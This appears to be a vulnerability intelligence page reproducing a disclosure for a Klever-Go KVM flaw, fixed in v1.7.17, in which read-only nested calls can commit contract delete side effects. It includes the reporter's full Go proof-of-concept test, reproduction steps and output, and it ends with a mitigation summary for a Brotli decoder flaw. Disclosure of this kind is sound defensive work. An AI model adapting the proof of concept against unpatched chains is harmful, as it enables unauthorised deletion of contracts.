New MCP server — Bring vulnerability intelligence into your AI
Back to feed

CVE-2026-46403

ExploitedNVDCIRCLENISA

EUVD-2026-46390 · Published May 21, 2026

Klever-Go KVM read-only execution can commit contract delete and upgrade side effects

Publisher note

Fixed in v1.7.17. Operators running < v1.7.17 should upgrade. Contract delete and upgrade host-core paths now reject execution when runtime.ReadOnly() is true. The invariant is regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.

Patch commits on develop: 333f6ec9, 68b94a40 (merged from private fork associated with the original advisory).

This advisory was originally filed jointly with a separate P2P throttler DoS finding, now tracked under GHSA-74m6-4hjp-7226 so each issue receives its own CVE.

The original disclosure from @LoGGGG240211 follows verbatim, including the embedded proof-of-concept source.


Private Vulnerability Report

Repository: klever-io/klever-go
Reviewed commit: 405d01b0abbf0d3e73b4a990bd7394a01f200dc2
Disclosure channel: GitHub Private Vulnerability Reporting
Reporter GitHub account: LoGGGG240211

2.2 KVM read-only execution can commit contract delete side effects

Severity : Medium
Confidence : HIGH
Attack Complexity : MEDIUM
PoC Status : Confirmed

Description

KVM exposes ExecuteReadOnlyWithTypedArguments as a read-only execution mechanism. The hook saves the previous read-only state, sets runtime.SetReadOnly(true), executes the destination context, and then restores the previous read-only state. However, the indirect contract delete and upgrade paths do not reject execution when runtime.ReadOnly() is true. As a result, a contract reached through read-only execution can call the production delete hook for a target contract it owns. The delete path appends the target address to vmOutput.DeletedAccounts, the output context merges DeletedAccounts into the caller output, and the smart contract processor later processes the VM output by deleting accounts listed in that field.

The root cause is that read-only mode is applied as runtime state, but not enforced by the state-changing delete and upgrade host-core paths. This breaks the expected isolation boundary for workflows that rely on read-only calls to inspect another contract without allowing that callee to produce state-changing VM output.

Location

  1. baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2097
  2. baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2099
  3. execution.go, doExecContractDelete(), line 237
  4. execution.go, doExecContractDelete(), line 246
  5. execution.go, executeUpgrade(), line 792
  6. execution.go, executeUpgrade(), line 831
  7. execution.go, executeDelete(), line 839
  8. execution.go, executeDelete(), line 849
  9. output.go, PopMergeActiveState(), line 103
  10. output.go, mergeVMOutputs(), line 615
  11. process.go, processVMOutput(), line 755
  12. process.go, processVMOutput(), line 765

Preconditions

  1. A contract workflow invokes a callee through KVM read-only execution.
  2. The read-only callee owns, or otherwise satisfies the upgrade/delete permission checks for, the target contract.
  3. The target contract is upgradeable/deletable according to its KVM code metadata.
  4. No node operator privilege, validator role, oracle condition, or block-level timing condition is required.

Impact

Successful exploitation violates KVM read-only isolation and allows state-changing delete side effects to be produced from a read-only nested execution. The PoC demonstrates that DeletedAccounts changes from zero entries before execution to one target entry after execution. Practical impact depends on contract workflows that trust read-only calls as non-mutating. In such workflows, an attacker-controlled or untrusted callee could hide delete or upgrade effects behind a read-only call. The delete effect is reversible only through redeployment or state recovery procedures available to the protocol or contract owner.

Exploit Cost

The cost is normal KVM smart contract execution gas. No flash loan, collateral, oracle manipulation, or external capital requirement is needed. The attacker must satisfy the contract-level preconditions above.

Steps to Reproduce

  1. Place poc_kvm_readonly_delete_side_effect_test.go in an empty directory.
  2. Run the dependency commands listed in the PoC header.
  3. Run GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go.
  4. Observe that the parent contract invokes a child contract through ExecuteReadOnlyWithTypedArguments.
  5. Observe that the child contract uses the production managed delete hook against a target contract it owns.
  6. Observe that the final VM output contains the target address in DeletedAccounts despite the delete action being triggered through read-only execution.

Proof-of-Concept Result

Running GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go after dependency setup produces the following output. The result confirms that read-only execution commits a delete side effect into VM output.

# command-line-arguments.test
/usr/bin/ld: warning: bint-x64-amd64.o: missing .note.GNU-stack section implies executable stack
/usr/bin/ld: NOTE: This behaviour is deprecated and will be removed in a future version of the linker
=== RUN   TestPoC_KVMReadOnlyCanCommitDeleteSideEffect
    poc_kvm_readonly_delete_side_effect_test.go:90: deleted_accounts_before=0
    poc_kvm_readonly_delete_side_effect_test.go:91: deleted_accounts_after=1
    poc_kvm_readonly_delete_side_effect_test.go:92: target_deleted=true
--- PASS: TestPoC_KVMReadOnlyCanCommitDeleteSideEffect (0.00s)
PASS
ok  	command-line-arguments	0.007s

Suggested Fix

Enforce read-only mode in every state-changing KVM host path. At minimum, reject contract delete and contract upgrade execution when runtime.ReadOnly() is true. The same invariant should be regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.

Proof-of-Concept Source

poc_kvm_readonly_delete_side_effect_test.go

package poc

/*
Target contract   : Klever-Go KVM VM host hooks and smart contract processor; no on-chain address
Vulnerability     : Read-only execution isolation bypass with contract delete side effect
Severity          : Medium
How to run        : GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go
Expected output   : The test passes and logs deleted_accounts_after=1 and target_deleted=true
Dependencies      : In an empty directory containing this file, run: go mod init klever-go-disclosure-poc; go get github.com/klever-io/klever-go@v1.7.17-0.20260422114731-405d01b0abbf; go get github.com/stretchr/testify@v1.11.1; go mod tidy
*/

import (
	"testing"

	contextmock "github.com/klever-io/klever-go/kvm/mock/context"
	worldmock "github.com/klever-io/klever-go/kvm/mock/world"
	test "github.com/klever-io/klever-go/kvm/testcommon"
	"github.com/klever-io/klever-go/kvm/vmhost/vmhooks"
	"github.com/klever-io/klever-go/vmcommon"
	"github.com/stretchr/testify/require"
)

func TestPoC_KVMReadOnlyCanCommitDeleteSideEffect(t *testing.T) {
	// Build a production-relevant KVM setup with a parent contract, a child contract, and a target contract.
	targetAddress := test.MakeTestSCAddressWithDefaultVM("readonlyTarget")

	// Record the initial delete side-effect state before any read-only execution occurs.
	deletedBefore := make([][]byte, 0)
	require.NotContains(t, deletedBefore, targetAddress)

	vmOutput, err := test.BuildMockInstanceCallTest(t).
		WithContracts(
			// The parent contract models the transaction entrypoint controlled by a user or contract workflow.
			test.CreateMockContract(test.ParentAddress).
				WithMethods(func(parentInstance *contextmock.InstanceMock, _ interface{}) {
					parentInstance.AddMockMethod("callReadOnlyChild", func() *contextmock.InstanceMock {
						host := parentInstance.Host

						// The parent invokes the child through ExecuteReadOnly, which should not commit state effects.
						result := vmhooks.ExecuteReadOnlyWithTypedArguments(
							host,
							100000,
							[]byte("deleteTarget"),
							test.ChildAddress,
							nil,
						)
						require.Equal(t, int32(0), result)

						return parentInstance
					})
				}),
			// The child contract is called in read-only mode but attempts to delete a contract it owns.
			test.CreateMockContract(test.ChildAddress).
				WithMethods(func(childInstance *contextmock.InstanceMock, _ interface{}) {
					childInstance.AddMockMethod("deleteTarget", func() *contextmock.InstanceMock {
						host := childInstance.Host
						managedTypes := host.ManagedTypes()

						// Encode the target address and call the production ManagedDeleteContract hook.
						destHandle := managedTypes.NewManagedBufferFromBytes(targetAddress)
						argsHandle := managedTypes.NewManagedBuffer()
						managedTypes.WriteManagedVecOfManagedBuffers(nil, argsHandle)

						vmhooks.ManagedDeleteContractWithHost(host, destHandle, 100000, argsHandle)

						return childInstance
					})
				}),
			// The target contract is upgradeable/deletable and owned by the read-only child.
			test.CreateMockContract(targetAddress).
				WithCodeMetadata([]byte{vmcommon.MetadataUpgradeable, 0}).
				WithOwnerAddress(test.ChildAddress).
				WithMethods(),
		).
		// Execute only the parent entrypoint; the delete action is hidden behind ExecuteReadOnly.
		WithInput(test.CreateTestContractCallInputBuilder().
			WithRecipientAddr(test.ParentAddress).
			WithGasProvided(500000).
			WithFunction("callReadOnlyChild").
			Build()).
		AndAssertResults(func(_ *worldmock.MockWorld, _ *test.VMOutputVerifier) {})

	require.NoError(t, err)

	// The read-only nested call must not create delete side effects, but the vulnerable implementation does.
	deletedAfter := vmOutput.DeletedAccounts
	require.Greater(t, len(deletedAfter), len(deletedBefore))
	require.Contains(t, deletedAfter, targetAddress)

	t.Logf("deleted_accounts_before=%d", len(deletedBefore))
	t.Logf("deleted_accounts_after=%d", len(deletedAfter))
	t.Logf("target_deleted=%t", true)
}

Technologies

Klever-Io Klever-Go

Weaknesses

CWE-693

CVSS scores

  • v3.16.3CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access Execution Privilege Escalation Stealth Credential Access Discovery Impact

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticaltoday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Two situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with "Content-Encoding: br" at the reverse proxy or WAF. When the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag "paas: platform.sh" or "cdn: fastly" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Contact your edge provider about the status of the pathing (Fastly / Plateform.sh) Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

Take 15 minutes to discover our platform with our experts

PatrowlIntel platform screenshot